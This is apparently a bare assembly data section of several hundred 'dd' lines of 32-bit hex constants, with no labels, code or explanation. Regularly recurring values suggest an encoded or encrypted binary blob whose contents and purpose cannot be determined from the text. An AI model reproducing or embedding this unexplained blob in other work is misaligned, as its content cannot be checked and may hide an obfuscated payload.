dd 0B1156644h, 1E9262E7h, 35FC3A35h, 156688h, 67B53D3Dh
dd 8847B9A1h, 49642D8Dh, 0F31D8C49h, 0F89460A6h, 714B58A9h
dd 0C094BCE6h, 0C4B0E673h, 1B4FB145h, 0FCFAE7FDh, 3D43E210h
dd 32156708h, 0B67D9E44h, 0BB156615h, 0B91A4205h, 3215669Fh
dd 321574ADh, 9F781522h, 0B9BDB041h, 0B24C02DFh, 8DC85EB0h
dd 6414B84Dh, 0C09C9898h, 0B3315203h, 32156280h, 32128F22h
dd 0D1F46611h, 66FBA865h, 3A90693Ch, 52156622h, 3215E91Eh
dd 0B9746688h, 0D21D2BF9h, 2A9D6925h, 0DB156611h, 3215669Bh
dd 0EB583D40h, 0B38F848Bh, 0ABA045CFh, 9CC104A0h, 8B5F21AFh
dd 0CDEA99DDh, 321577F8h, 0B06FBF88h, 8A3D79B6h, 0D656A241h
dd 0BF729FE6h, 0F2247F4Dh, 33956924h, 0CB156622h, 32AF3470h
dd 33156688h, 0B917ECB6h, 0F6964236h, 0C09E0615h, 7E6E7EEh
dd 0B61A07E5h, 32156627h, 0C19E0071h, 3DDD56E9h, 321567C2h
dd 8B449E22h, 0CDEA99EEh, 0DB4CA8A1h, 3215664Bh, 0D4DC6F3Eh
dd 2B1767A9h, 0A6B374A5h, 0CDC9712Fh, 369EE116h, 36D1E535h
dd 320EEC87h, 0BA1A6644h, 32156637h, 321576F8h, 5AB67388h
dd 0AA7E0173h, 0BF19BA2h, 881D9B6Dh, 3AFCA7AAh, 0CED457B1h
dd 83D7ED42h, 3D5F07DAh, 0CDEA0B0Dh, 339369BBh, 0CE156622h
dd 1611ED40h, 3D11A20Bh, 32156EC3h, 30916922h, 52156611h
dd 36F9E7E9h, 0BB156644h, 26E24226h, 22FC3E35h, 0EF156688h
dd 3C8C5584h, 0FE6B4CF6h, 0C7B4E108h, 0B97F0A5Fh, 0BB434250h
dd 36D3E7C4h, 0B1156611h, 692624Eh, 0B21A3A60h, 32156623h
dd 8370EE9h, 369C6688h, 3D17E960h, 321567AEh, 0B91A9F11h
dd 3215669Fh, 321574ADh, 0F0C74522h, 1FFAEB50h, 6C895690h
dd 12B54646h, 62FD73BCh, 321562A9h, 0B9D76788h, 0F6944240h
dd 32156626h, 3214ED1Eh, 5AE96688h, 3215511Fh, 0DB3172ABh
dd 32156616h, 6DFFD764h, 52CDEA4Ch, 4F7F4498h, 21906957h
dd 0DB156688h, 3215664Ah, 359C66EFh, 7B62DDF2h, 95817473h
dd 0CD741A02h, 0D23C27A7h, 0A79E9E16h, 35F54FC9h, 321FE34Bh
dd 52756622h, 0C8E5E770h, 5329E009h, 3214EA4Bh, 0BE96622h
dd 0D2048784h, 0A091698Fh, 0DB156644h, 32156633h, 87D87A3Fh
dd 4B8DFCABh, 806351E5h, 72885C61h, 1601ED30h, 0B3F7EFDAh
dd 32156286h, 36D7E722h, 0B5156611h, 5249429Ch, 68CBED17h
dd 32156BCAh, 29FA2D11h, 5FB991A9h, 474EAA24h, 0B51A295Ah
dd 32156611h, 6EA07D3h, 0F6963860h, 3BFC9F26h, 0D2156611h
dd 16EC4434h, 0D4D9DB77h, 3211DD71h, 0EC146611h, 0B1317A03h
dd 23FC6280h, 69156622h, 9148504h, 36B36454h, 90E201D7h
dd 6BF60B63h, 0CDE971F8h, 0E5940677h, 21EF7D3Dh, 1601ED43h
dd 0B3F2EF46h, 3215624Fh, 36D2E744h, 0B5156622h, 3D49422Dh
dd 32157903h, 2B906944h, 0DB156622h, 32156605h, 9636D989h
dd 0F0A35838h, 4AC8151Fh, 249A15F6h, 549F5DAFh, 321569ADh
dd 0F3C87422h, 34461A36h, 0F966E581h, 0F8B790DDh, 643152A9h
dd 0F4948098h, 3215668Ch, 0B511A0C7h, 0DB494216h, 3215661Eh
dd 9A042E51h, 0F52EA438h, 3F5D96Ah, 530693D4h, 319769E8h
dd 3D156644h, 0BE1A919Dh, 32156613h, 0CD7407E8h, 0B14C4270h
dd 3AFC62E6h, 6E156611h, 0E572D550h, 0C7B9A2EAh, 653162A9h
dd 0F5948198h, 3215668Ch, 0B511A1C7h, 3D49421Eh, 32156793h
dd 0B91A9F88h, 3215664Ch, 329C6942h, 53156611h, 33B8E34Fh
dd 321561A4h, 52E06622h, 3214E91Eh, 52E96688h, 0B5A53915h
dd 0B7D20743h, 35F543A0h, 32156688h, 20F4E724h, 3D3CC638h
dd 32156496h, 53A7D288h, 0E7D9DBC7h, 3D1561C5h, 32152C95h
dd 3CFD0688h, 9B156644h, 448C2D40h, 0A6EB828Dh, 39CBFF2Bh
dd 0C2CCE7E8h, 6D0E6661h, 0E427DC77h, 0EC88EBE9h, 521280DAh
dd 0B0BCBFA3h, 0B61A5DB5h, 32156688h, 0DBC69925h, 3215662Dh
dd 0C078B0CEh, 0BE2EB7F8h, 283299F9h, 0CD935AC7h, 0D2031B94h
dd 32188F8Fh, 39296644h, 0E05C8A58h, 38B9B8D1h, 0B1D7EB9Ah
dd 0D2031BF9h, 0B01A0225h, 321564E6h, 319E69E8h, 54156644h
dd 0F574A5A9h, 0D2031B94h, 3215678Fh, 26946944h, 0DB156622h
dd 3215661Eh, 8CC4BB6Ah, 4870C5C4h, 916F56A4h, 52E449B6h
dd 3208E587h, 88756644h, 6F7D696Dh, 321577F8h, 2D81F88h
dd 6FA5BB7Fh, 0CDDBEA74h, 11AD0EDFh, 0BF746C27h, 0D5B176C1h
dd 64460625h, 54753E4Eh, 0A62D8009h, 0E2EA0725h, 321569CBh
dd 39561F11h, 0D47B689Bh, 40182B83h, 0E4CF4E03h, 3212EC1Eh
dd 0B31A6688h, 32156645h, 0AEA0EBD7h, 3D1281C7h, 32154600h
dd 35FC0644h, 0CD156622h, 4A1ECC33h, 3FFC049Dh, 1A156644h
dd 1C04B0F9h, 84F3C9BEh, 0DFD9F4B2h, 0C6A8EB25h, 3D128E41h
dd 3215679Eh, 8F409E88h, 7FB470CFh, 0B31783E3h, 834A6BD4h
dd 0BDE0E78Eh, 3304F1EAh, 0C53C3BCDh, 25A38990h, 3EFC4A2Ah
dd 20156644h, 6176F30Ah, 0DD21512Eh, 651FEB62h, 0B13172CFh
dd 38FC62E6h, 35156611h, 99E750E7h, 0A4ADA326h, 7FA8EDBAh
dd 3D128619h, 32156E08h, 30956944h, 52156622h, 0CDEADF70h
dd 3FFC9977h, 0F4156644h, 9AE0BE1Ch, 0EF113EB1h, 41BDC81Bh
dd 3FFCA675h, 57156622h, 224D2AF0h, 0CC109488h, 0D4C05C8Fh
dd 32717C4Ah, 1619EF11h, 32156631h, 0B8E46744h, 3BFC3F23h
dd 98156611h, 0FC88D615h, 345AB49Ah, 0CAEDAE12h, 0CDEADC43h
dd 0E43C9977h, 321F8F1Eh, 16BF6622h, 2B1132FBh, 0C9D3C987h
dd 321561ADh, 0C2935C22h, 7EC32AA6h, 0B3925277h, 0DF94270h
dd 74D575Fh, 36859FDh, 32156D61h, 3B423044h, 0D490F580h
dd 7C9B73FDh, 0DB1D8F49h, 32156642h, 31A3F72Eh, 0F3240390h
dd 3212E887h, 0B11A6644h, 32156623h, 3D5F9AE9h, 0CDEA390Dh
dd 0B37306BBh, 8B7D6BE1h, 33B6D03Eh, 8D4237E9h, 6EEF18FBh
dd 36311A0Bh, 8D103E4Eh, 52499CF6h, 321577ADh, 1F3CCB22h
dd 2FC329B3h, 2FEF5BFBh, 0E9AA4F8Bh, 0EB94DC4Dh, 54B9A3E1h
dd 36F9E5E9h, 0C53162CDh, 524D4236h, 3210ED1Eh, 0C6AF6688h
dd 54232DD0h, 0DB74A8A9h, 3215661Fh, 89CC2943h, 0ACDFA421h
dd 731C423Dh, 0B72CC29Bh, 35F57C3Dh, 32BFE24Bh, 3AFC6622h
dd 1156611h, 0C843058Ah, 6729AC3Ch, 994DC84Ah, 0DFC43B53h
dd 145A9309h, 8A45125Dh, 64BC01ADh, 0DAD4B6E6h, 0E740638Dh
dd 0F73C3645h, 6FFDEF7Ah, 46DAE771h, 54169658h, 0CE6BA9C5h
dd 0B3730643h, 8B8701FFh
dd 76C7A01Dh, 3DD56D25h, 321578A7h, 33946911h, 0CA156688h
dd 9F90A1B8h, 33128632h, 0DB156611h, 3215668Fh, 0E34E1E65h
dd 6072B5AEh, 34CDCABh, 0B9C46788h, 0F6964250h, 0B9750626h
dd 8D1A07C6h, 0C775075Eh, 320CE24Bh, 26FC6622h, 3E156611h
dd 96CBAE3Fh, 6A9175CDh, 0A232133Ah, 0A465C7D9h, 538D92A8h
dd 65E99E25h, 0A8481F4Ah, 0F5943936h, 40C36717h, 3B11DC16h
dd 0E53425D2h, 0CD2E74Bh, 0BB483D5Eh, 0DA7539BDh, 3215662Eh
dd 0B7B363FBh, 467B0AD3h, 0D0221B2Bh, 321560CAh, 62A4F411h
dd 6BE3B882h, 0EAA2691Fh, 5B4F0E43h, 269E77C1h, 36D1E7ACh
dd 52156644h, 0FBE2E744h, 0B91A075Ch, 32156682h, 321563ADh
dd 0A4AC0922h, 52B89AFEh, 32157561h, 6BA44B44h, 879E70A9h
dd 0C2D29500h, 0EC32A506h, 96269B8Dh, 3214E52Dh, 53ED6611h
dd 29D8D301h, 3CFC61A4h, 0F3156622h, 0EB217FCAh, 26460C6Ah
dd 42AC17D0h, 0FA7D35BCh, 691AC40Ah, 3CF09509h, 8C431563h
dd 26E03B2h, 0F494B8E6h, 0BD7DD47Dh, 0B34B9565h, 0B71043C9h
dd 0CE4BEF4Dh, 0B31A93D3h, 32156654h, 32156DCBh, 5423CD11h
dd 0FBACEEE1h, 6FF4C272h, 0DCFB881Fh, 0A79069FFh, 52156688h
dd 3211ED4Bh, 8B736622h, 0B3731806h, 5350C563h, 0EFC858C5h
dd 0B71ABBFFh, 32156669h, 8C433774h, 5B773F1Ch, 7CE390A3h
dd 0C39C1720h, 9C13A1D6h, 30D3553h, 5AE93F2Ch, 3215225Bh
dd 8D315A01h, 32156640h, 0DB4A9823h, 32156601h, 0AB92673Fh
dd 0EBCB11AEh, 0DCD943C6h, 0C9E4E25Bh, 29D8D301h, 3DE961A4h
dd 32157FAFh, 32018F11h, 78E26688h, 6759AAA7h, 4AF741B5h
dd 0F7E8B5F3h, 25F7401h, 34FC2EBAh, 3D156609h, 3215679Ch
dd 0B2FC9388h, 0CBEA99BAh, 32118AA3h, 369C6611h, 38FC3DACh
dd 6D156644h, 5AE435BFh, 8E6924F4h, 9F9055B6h, 0DB128654h
dd 3215662Dh, 206CBDF0h, 6DB88492h, 0FF2EA6D1h, 0CA387248h
dd 0CB16AED0h, 3453DFD9h, 0FA142836h, 1FC54F7Bh, 7C676057h
dd 3211E087h, 81756644h, 0F2D4078Dh, 0FA249F01h, 6FFBE7E8h
dd 0B25CA673h, 0BB74F7E1h, 0D205CB8Ch, 0DB75068Fh, 3215664Dh
dd 9642ADD3h, 0E71B2E21h, 3D74071Ah, 32156ACAh, 32128F22h
dd 0D4786611h, 0C0300CCCh, 32155BFCh, 0B11A6623h, 321567DEh
dd 3219EA87h, 0B21A6644h, 32156624h, 3215E01Eh, 0C946688h
dd 89AEDDFFh, 33A4E32Dh, 65EC6611h, 8E512437h, 70E2E74Ah
dd 0BB1BDA66h, 1629ED2Fh, 0CB11A20Bh, 3211DD17h, 0EC146622h
dd 0B1317A9Ah, 0DB75624Ch, 32156655h, 3F0D26FCh, 0CD3E351Eh
dd 29EAA7CDh, 5A2D1F55h, 53EDED50h, 321DED1Eh, 0BF1A6688h
dd 32156646h, 879C0742h, 35F57DDCh, 0B97306E8h, 0E5A269BEh
dd 75AE0043h, 0B41A0776h, 32156682h, 321563ADh, 0BB7DD322h
dd 0AF9E4B2Eh, 35F543E1h, 321DE34Bh, 0BA1A6622h, 32156613h
dd 1EA07E8h, 0DE3152C5h, 0B905077Dh, 0F696421Dh, 0DEE4E78Ch
dd 5205071Bh, 0B77DDE44h, 1E1659AAh, 674507BEh, 0DF0F0DF9h
dd 16795704h, 0B34F3B15h, 0DF0F0D7Ah, 32188F62h, 0F6CA6622h
dd 6B6CC61Eh, 0E1E37E4Bh, 3D8E61F5h, 321563ABh, 8D1A0611h
dd 5275077Fh, 321561ADh, 0A94F0222h, 4B5041C1h, 60745138h
dd 2A3162C5h, 0B956A677h, 0F6944215h, 3215668Ch, 0F2407E69h
dd 35936961h, 3D156611h, 32156705h, 0B73E9A44h, 35F54973h
dd 0B9739F71h, 0D2D4074Ah, 0B3730646h, 0B35869CCh, 0C1EF3CCAh
dd 0B71607A6h, 35F57301h, 6515DE42h, 62743083h, 69E3EDEh
dd 36D1E560h, 359D69DEh, 3D156611h, 32156700h, 0DBB89A44h
dd 32156627h, 0B525CF56h, 1564B56h, 0FA14083Ch, 2EEDD975h
dd 0D5D45333h, 7CF2E78Fh, 0B37B822Ah, 0B62876C5h, 71D2E77Ch
dd 337B128Fh, 617539BCh, 0C4A2697Dh, 1651EF70h, 0DB749F94h
dd 3215664Eh, 0B5988F71h, 0C9015E84h, 85FC49B7h, 3D156646h
dd 321574A7h, 32188F11h, 6F956688h, 0EC7212A2h, 0DDE1E3ABh
dd 0B3C6213Bh, 32156264h, 1619EF44h, 0F3E6E742h, 0C75E2DFAh
dd 0D59C31E9h, 3211A1C5h, 0DD966622h, 1629E115h, 1601EFD4h
dd 0CDA26924h, 3EFC07DAh, 6F156611h, 0E3A1A4Bh, 287D7674h
dd 3DC30E2h, 269F69D8h, 0DB156688h, 3215664Bh, 0C5DA62Eh
dd 50A417Bh, 0EA3ADE9Ch, 0B9199848h, 0D2064FB7h, 32128F16h
dd 62926688h, 715163C4h, 3D175D46h, 3215CA95h, 32198F88h
dd 0DA9B6644h, 0BC04969h, 0A31B4AB2h, 8C430D28h, 32156640h
dd 6A31A4A3h, 0C01466B0h, 6A318C09h, 3D4B66E5h, 32157EA5h
dd 32068F11h, 52846688h, 44723A84h, 2E2BC440h, 60140EECh
dd 9A93C492h, 33AB30DFh, 33156622h, 26FC38E0h, 61156688h
dd 7386183Fh, 65544A4Eh, 9171F7DBh, 8ABB45E1h, 9598E7Dh
dd 0D20487AFh, 0B4906916h, 0CBEA9977h, 3215662Ch, 3EFC3E22h
dd 0F8156611h, 1A89E39h, 0BBAA81A0h, 0BF3272B6h, 0D25B8E9Ch
dd 0B71A068Fh, 3215664Bh, 32156FCAh, 0C36E3A11h, 43EB6D28h
dd 0B84E2927h, 0D3EA07DAh, 7398EFE9h, 0DB1286A1h, 3215664Dh
dd 0F2E8E2F4h, 19580B02h, 162199A9h, 36D1E71Eh, 3D156622h
dd 32156397h, 0B9730688h, 6EA078Fh, 0F6963F06h, 2D7D9F15h
dd 0BB1566A9h, 0B9ED4270h, 0D2300FBFh, 33996916h, 0C7156688h
dd 1E9455BBh, 425F5F06h, 8C433F5Ah, 58AE59A5h, 0B3138885h
dd 8B7A5CCh, 6CE467A7h, 7390ED70h, 3D12866Dh, 321573A9h
dd 32058F11h, 4B836688h, 0A9E2C083h, 0CF1527FDh, 1ECD2975h
dd 0D2C486E5h, 3212EF4Bh, 0BF1A6622h, 32156610h, 53906571h
dd 0DB128662h, 32156625h, 0AFDAD79Ah, 3C3108Bh, 5A459AB2h
dd 321558C8h, 6A315298h, 0DB759AD6h, 32156657h, 0C8A1058Ah
dd 2428511Fh, 65BC324Dh, 1E4C6EA6h, 3DD2005Eh, 5474B6AEh
dd 3D9A6925h, 0DB156644h, 32156628h, 0DD6BF9D0h, 0B425C41Ch
dd 0D2D4F78Ah, 0B7169F20h, 35F57354h, 3218EA87h, 3AFC6644h
dd 14156622h, 0D145E604h, 62CFE45Ah, 1611ED12h, 6C11A2A1h
dd 32188FE8h, 37A6688h, 0D260B57Eh, 69000575h, 9F58964Dh
dd 30389A74h, 373CC869h, 2C3E6895h, 8538AE10h, 370B4D86h
dd 1BBB4B46h, 321575CBh, 11955811h, 409EF3Fh, 8A97DED5h
dd 0A29F133Fh, 570C2C04h, 62315203h, 361086CDh, 37156622h
dd 32156615h, 6E31620Fh, 0F99E0024h, 321569CAh, 85EB3F11h
dd 686EC972h, 780AE22Ch, 858B9439h, 8F960748h, 35F55771h
dd 0D9916945h, 52156622h, 0CB9F7DA5h, 33985DE9h, 3D12866Bh
dd 3215BFA6h, 359E6911h, 3D156688h, 321567C0h, 0BF2E9E22h
dd 35F55694h, 32D5E287h, 54756644h, 54255F9Bh, 0B772B490h
dd 43985DE9h, 3D12865Fh, 3215CFA6h, 32018F11h, 0BEDC6688h
dd 29B8406Fh, 52DCCDCDh, 2D281099h, 6C020B05h, 0AF983E6Fh
dd 35FD52FBh, 0B3739A71h, 53AE2D56h, 3D75B5BBh, 321564A8h
dd 0DAE2ED11h, 32156685h, 6893D29Bh, 0FEEBAA37h, 0D6111788h
dd 6CCDED2Eh, 7E770E25h, 1E9C6622h, 0BBD0EF35h, 0B11A3B67h
dd 32156645h, 32108FD7h, 0E1426611h, 0BB5B3988h, 0D23FA7C1h
dd 32198F25h, 4E606611h, 0B5DEA711h, 6A384937h, 0CCFC5969h
dd 3D15660Fh, 32157005h, 229D6944h, 0DB156622h, 3215661Ah
dd 0DC5B7C3Eh, 35372C90h, 3D452C90h, 3215639Ah, 0B9730688h
dd 0AF980786h, 35FD52FBh, 0BAE6E671h, 0E1EA0770h, 8F960724h
dd 35F557DBh, 63916911h
dd 0CB156688h, 26A4E37Fh, 0B61A61C2h, 32156639h, 36CAE7E8h
dd 0B3484F8Bh, 221117E5h, 0B72E0707h, 35F5474Dh, 323FE34Bh
dd 65756622h, 6BE6ED77h, 88DA109h, 0CB741D69h, 0CDEA7FCBh
dd 32188FEEh, 0E5A66688h, 0C5119CCEh, 39571CBBh, 52CBA241h
dd 53E2D987h, 634E37Fh, 0B71A61C2h, 32156665h, 321EE087h
dd 34FC6644h, 0A7156622h, 2184D593h, 8F969AA4h, 35F570F5h
dd 916922h, 52156611h, 97D11130h, 321B8F0Ch, 614C6622h
dd 0A422A75Ch, 0FBE0565h, 0EF587126h, 9FA8E543h, 32128614h
dd 323BE287h, 34FC6644h, 9B156622h, 0CEE7C7EBh, 5690EB37h
dd 0CE1281F9h, 0CDEBFFCBh, 239E69EEh, 0DB156688h, 32156648h
dd 0ED6FB2Dh, 1E3CECD5h, 6C530FE4h, 634E37Fh, 0B61A61C2h
dd 0CDEA9867h, 0EA9530E8h, 0F6953DE4h, 0B21A0783h, 32156616h
dd 0F29400E8h, 0B17496F6h, 0D5C0D69Fh, 0B71A6716h, 321566B5h
dd 0D6905DBDh, 3D1281F7h, 32155694h, 0B7989F88h, 324C6DA0h
dd 3213EE2Dh, 63756611h, 534C31D2h, 321574ADh, 0B6F92122h
dd 9AA2FB2h, 0A3727B2Ah, 31120F1Bh, 0DBA64B82h, 0CDEA9854h
dd 3DEA5771h, 321561CEh, 0E59E0622h, 53C6ED77h, 107CDB0Bh
dd 3D1561A4h, 3205E5A6h, 32048F11h, 7B9A6688h, 3FCE73A7h
dd 7D3E65E2h, 49E66328h, 52CB9356h, 0B9F6E722h, 0E29400BBh
dd 9740056h, 0D5C0B60Dh, 1A906943h, 52156622h, 68FED877h
dd 53068E08h, 3334E3CFh, 67EC61C2h, 0CDEA99ACh, 6FFA4F77h
dd 32156CADh, 27318D22h, 907A667h, 94A707Fh, 0D5C0BEC1h
dd 19906925h, 0CE156611h, 22C4E303h, 0B97561A4h, 894607F8h
dd 0CDEA99EEh, 0DB4EB9A1h, 32156656h, 0F92E70D9h, 6F2D1250h
dd 11EC9DE6h, 63C84FAh, 0B72EC00Bh, 35F2B3C5h, 323EE387h
dd 52E96644h, 0CFF3E7DBh, 53207A7Dh, 2D88E303h, 39FC61A4h
dd 0EC156622h, 6080276Bh, 2FA9D7CEh, 67E9B3D5h, 0CDEA999Fh
dd 6FFA4FEEh, 0EE905D70h, 3D128191h, 32153EA7h, 20956911h
dd 0DB156688h, 32156649h, 748B9530h, 0BDA130E4h, 0F16F36C9h
dd 390EDB7h, 3D12860Eh, 32157294h, 3C926988h, 0DB156644h
dd 3215662Bh, 0E8F8F17Ah, 4213BE51h, 39AF3441h, 0B37B3042h
dd 9B8A92E3h, 68C24F19h, 32156AADh, 0E502FA22h, 0FBBBE48Fh
dd 0A949D225h, 0D2905D86h, 3D1281F7h, 32152994h, 0BB1A0688h
dd 32156647h, 3D9494A2h, 32157399h, 321A8E88h, 8A676644h
dd 70A4324Fh, 0F7E502C1h, 0FC192E86h, 0B974393Bh, 0D2334BA7h
dd 32128F16h, 96156688h, 75C2E0FFh, 33AE3514h, 33156611h
dd 0B41A3D57h, 32156645h, 339C69D7h, 0CE156611h, 0E7F1E3B3h
dd 0B71A61A3h, 32156618h, 321560F8h, 3480FB88h, 0B96B6F2Fh
dd 0D22153A7h, 32108F16h, 63F46688h, 61BFDAECh, 32156799h
dd 69CA6711h, 32157761h, 0E36C8E44h, 5AFF1A0h, 9BE0DD58h
dd 2D68A15Eh, 0B72EE089h, 35F2B3CAh, 3256E31Eh, 0B21A6688h
dd 32156643h, 3214E72Dh, 0B9E06611h, 0D206DF0Dh, 8B449F43h
dd 32156623h, 0C74CA910h, 0EC9E00E8h, 321568ACh, 45703822h
dd 18D578D2h, 0FDFC13DAh, 0DB622581h, 32156625h, 0E4D889BCh
dd 6AA5078Bh, 0DE905D25h, 3D1281F7h, 32152E94h, 39FD0688h
dd 0A4156644h, 762ACCFCh, 3D2B81ACh, 6847B172h, 8CAC001Ah
dd 0B79E07B7h, 35F562A4h, 33AC3771h, 33156644h, 0B81A3FEDh
dd 32156608h, 32157261h, 5EEF4444h, 0EA33BADDh, 7AF37FDCh
dd 1104E31Ch, 0C663C7D2h, 0C2905DA4h, 3D1281C4h, 32152D0Dh
dd 8A730644h, 6A45E617h, 2F90ED70h, 3D12869Ah, 32156AC0h
dd 349B6922h, 3D156611h, 3215660Fh, 0F2AC3744h, 0F33BD843h
dd 0E3E260F0h, 1DA78709h, 0C3941B50h, 2F7703CBh, 3473A790h
dd 0DB946FD6h, 64D11686h, 524CA90Bh, 5336AC91h, 0E7E1E3B3h
dd 0B71A61A3h, 32156615h, 285FD971h, 0B973487Fh, 0B79E07BEh
dd 35F57FF7h, 32138FE4h, 0BCE6688h, 5D60B63Dh, 419DDF73h
dd 0F35C626Ch, 0B35C6369h, 639A4485h, 6BDA6752h, 3214E31Eh
dd 9E06688h, 0D5C09AC1h, 0B906925h, 0C7156611h, 534F34E8h
dd 23A4E3CFh, 3DE061C2h, 32156E92h, 30926988h, 52156644h
dd 0CDAC3743h, 1BEA99EEh, 0B9753F47h, 321F8E9Bh, 4D126622h
dd 357EC261h, 0A881216Dh, 534B3914h, 0E7EDE319h, 0B71A61F6h
dd 321566B2h, 3200EA4Bh, 0B11A6622h, 3215661Eh, 32156C61h
dd 0C5B58B44h, 88FCE047h, 0B10A6918h, 0D2153735h, 0B71A6643h
dd 32156630h, 0A790EDE4h, 0CA1286A7h, 3214DC16h, 0E5146622h
dd 8F969E4Bh, 35F56E55h, 65916944h, 0C7156622h, 0E491E32Ah
dd 0B71A616Fh, 3215660Eh, 321577CBh, 7279D311h, 0EBBD82AEh
dd 43F0073Ah, 8451049Ah, 0B79ED929h, 35F561E5h, 321568ADh
dd 0ACD46422h, 0C38D0455h, 1BCF7B2Fh, 6189B058h, 0F421AB99h
dd 34F6A775h, 0C194B57Fh, 3985504h, 3D4EB90Bh, 32156799h
dd 8F969F88h, 35F56211h, 6916922h, 0DB156613h, 3215668Dh
dd 0F9D996B1h, 1BA8E582h, 32128607h, 3008E287h, 0DB756644h
dd 32156632h, 9A8091C1h, 9CEF3248h, 9FC04D75h, 32907BAAh
dd 974A59Ah, 0D5C30E0Dh, 1A906943h, 52156622h, 8873BBA6h
dd 0B9747EF2h, 0D2107FC1h, 2CAC0625h, 3D4EEF4Ch, 6774BE37h
dd 0CDEA99F9h, 6FFA4FDDh, 3214E81Eh, 9E96688h, 0D5C31EC1h
dd 5C906925h, 0C7156611h, 32068FE8h, 82ED6644h, 7907564Ch
dd 6EAB13F8h, 0EA715E8Dh, 60BE646Fh, 0B79E07AEh, 35F56268h
dd 3214E087h, 52E06644h, 0D7CDE744h, 349B6980h, 3D156688h
dd 321566C5h, 88470722h, 5F3250D3h, 520FAC09h, 70573A01h
dd 0B3CF9160h, 0AA9C42FBh, 68C24F0Ah, 321E8F24h, 0FAF16622h
dd 3876F0D4h, 95B13A47h, 0B3733192h, 6B3D9CD5h, 5E905D70h
dd 3D12815Eh, 321520C1h, 0B3730622h, 53A9A6DAh, 2498E303h
dd 23FC61A4h, 0DC156622h, 0C9E4E25Bh, 800983B2h, 35D8E0C5h
dd 0C6EEDD45h, 6D75DB44h, 0DF944A78h, 66622880h, 0C51D83E3h
dd 33F8E7CCh, 1B9389ECh, 54753BABh, 0B294E69Ch, 9742BE7h
dd 0D5C31A0Dh, 1B906943h, 0C7156622h, 2B7CE39Ah, 0B2756168h
dd 8375709Bh, 4A3CDFA9h, 53743566h, 737CDED8h, 375D0519h
dd 0AEB7D8B5h, 524DA138h, 53E99E39h, 0E495E37Fh, 0B71A61C5h
dd 3215663Fh, 32156B61h, 0A4DD9944h, 0EBCA45CAh, 49F47C7Ah
dd 0B79EE60Ch, 35F54B75h, 0E11ADD42h, 0B373134Fh, 5375D86Ah
dd 3214DF15h, 0FD146622h, 0B72E9E48h, 35F2B0F8h, 3253E34Bh
dd 0B9E96622h, 0D20AAF94h, 0C395068Fh, 88470790h, 187B1A47h
dd 1FB78490h, 0D8941BDAh, 5C87457Eh, 6EC8ACA3h, 0D8943392h
dd 52B33203h, 5144ACC5h, 0F0943272h, 10B7F29Dh, 524FB189h
dd 63ECD14Bh, 3215EE2Dh, 534F6611h, 0E461E3B3h, 0B71A61A3h
dd 32156615h, 321575F8h, 1C318888h, 0F4F2F3C0h, 41D69C41h
dd 7DDC569Ah, 0A6E54BFFh, 29F0E3CFh, 3DED61C2h, 32156E9Bh
dd 30986988h, 52156644h, 33AD3643h, 33156611h, 0B1ED3E4Fh
dd 0D2034FF9h, 0B61A6625h, 32156C51h, 32905D7Dh, 3D128192h
dd 32152AA7h, 32108F11h, 0AA056688h, 3D8DA8ABh, 321570AEh
dd 32048F11h, 999E6688h, 7A6BE8C1h, 0E85A90BEh, 8780C452h
dd 0B92E5873h, 0D208B3C1h, 0D9940625h, 3867552h, 65749C03h
dd 333162C7h, 3899697Dh, 0DB156611h, 3215668Dh, 0B863B91Eh
dd 0A6905D71h, 3D1281C7h
dd 3215260Dh, 209F6944h, 0DB156622h, 3215661Ch, 0F26D567Ch
dd 53C56340h, 14185FA5h, 0D390EDBEh, 0DB1286A6h, 3215664Dh
dd 9B644225h, 0C7872B1Bh, 93AB3072h, 0C537DC18h, 0B3C391FCh
dd 77B607D7h, 6CE26755h, 36905DB8h, 3D1281F4h, 32154E94h
dd 54759388h, 5385B6FFh, 2840E3A9h, 63ED61F1h, 0CDEA9931h
dd 6BDA4FBBh, 34956942h, 3D156611h, 32156606h, 5317D544h
dd 3A905DD7h, 3D1281C7h, 3215780Dh, 33906944h, 0C7156622h
dd 2BB4E39Ah, 62ED6168h, 0CDEA99FCh, 6AD24FDDh, 88739E71h
dd 9749C4Ch, 0D5C36AC1h, 7B906925h, 0DB156611h, 32156687h
dd 0AE3ED46Ah, 1FB78DA9h, 71E2B83Ch, 0DB764221h, 3215664Fh
dd 7D97BF36h, 365F427h, 0B9D870FDh, 0D202A7C1h, 8F409E25h
dd 32156610h, 0DB488989h, 32156654h, 2E7D6474h, 161D81F6h
dd 0F312A1D8h, 3DCDCEDh, 0E405E319h, 0B71A61F6h, 321566D1h
dd 32156FADh, 0CC653F22h, 56EB5299h, 8F96A3DEh, 35F56615h
dd 0C906922h, 0CA156611h, 10E4E303h, 0BA1A61A4h, 3215663Ah
dd 321575F8h, 4DCB4388h, 6FFBAFC5h, 5F527256h, 6A825688h
dd 0EA7B4E7Dh, 0CDEADD17h, 0ED3C99DDh, 389C694Ah, 52156688h
dd 3215E84Bh, 0A8A36622h, 26905D70h, 3D12815Eh, 321551C1h
dd 0BE1A9E22h, 3215661Bh, 3D4B36E8h, 321566C1h, 0B79E0722h
dd 35F56658h, 3210E187h, 0B2756644h, 0B374ECFFh, 321562FDh
dd 1629EF88h, 6D3162BBh, 0E6AC06DAh, 534FDFF0h, 0E40DE3B3h
dd 0B71A61A3h, 32156608h, 63A8E5E9h, 32128688h, 3209E34Bh
dd 0B9ED6622h, 0D2009F94h, 8C439F8Fh, 1FD6685Eh, 0E4E2B8D5h
dd 0C3F3A090h, 0C53CB4B4h, 0B72E9E1Ah, 35F2B03Eh, 3228E31Eh
dd 26FC6688h, 0D6156644h, 4EACD3E1h, 87BB906Ch, 0D52474CEh
dd 0DEE8DEA6h, 0B9F80DB8h, 0D208A794h, 0CD429E8Fh, 0E9E4240h
dd 36D1E506h, 321568F8h, 5EC6E588h, 50DDDD02h, 22B48E16h
dd 9C259A2h, 0D5C3460Dh, 0C906943h, 0CA156622h, 321DEA1Eh
dd 0B2756688h, 851A99AEh, 0B79E07D8h, 35F55258h, 0C39400E8h
dd 60748042h, 126B8C98h, 0D8942C22h, 1351860h, 3D4FB145h
dd 32156AA0h, 349C6911h, 3D156688h, 321566CEh, 1A905D22h
dd 3D1281C7h, 32150F0Dh, 0FB940644h, 3C58A7F7h, 53ECD91Eh
dd 32157761h, 0DD435844h, 2F2E161Eh, 0F2523797h, 74B3C275h
dd 8F967009h, 35F56673h, 9906911h, 3D156688h, 321567CAh
dd 0B79E9E22h, 35F5476Ch, 33AC3771h, 33156644h, 3D753FEDh
dd 32157F98h, 32018F88h, 0E9156644h, 4BAE7B6Ch, 22C58823h
dd 8BB34740h, 37A5F38Bh, 8D1AC316h, 0B72E07CAh, 35F2B0ACh
